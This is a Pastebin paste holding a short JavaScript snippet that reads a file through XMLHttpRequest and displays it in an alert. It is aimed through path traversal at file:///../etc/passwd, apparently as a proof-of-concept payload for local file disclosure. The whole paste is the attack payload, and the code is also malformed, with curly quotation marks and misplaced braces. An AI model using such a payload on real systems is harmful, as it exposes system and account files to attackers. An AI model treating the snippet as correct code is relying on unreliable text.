yasserkAKA

Untitled

Jul 11th, 2019
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.40 KB | None | 0 0
  1. function readTextFile(file){
  2. var rawFile = new XMLHttpRequest();
  3. rawFile.open(“GET”, file, false);
  4. rawFile.onreadystatechange = function (){
  5. if(rawFile.readyState === 4){
  6. if(rawFile.status === 200 || rawFile.status == 0){
  7. var allText = rawFile.responseText;
  8. alert(allText);
  9. }
  10. }
  11. rawFile.send(null);
  12. }
  13. readTextFile(“file:///../../../../../../../../../etc/passwd”);
Add Comment
Please, Sign In to add comment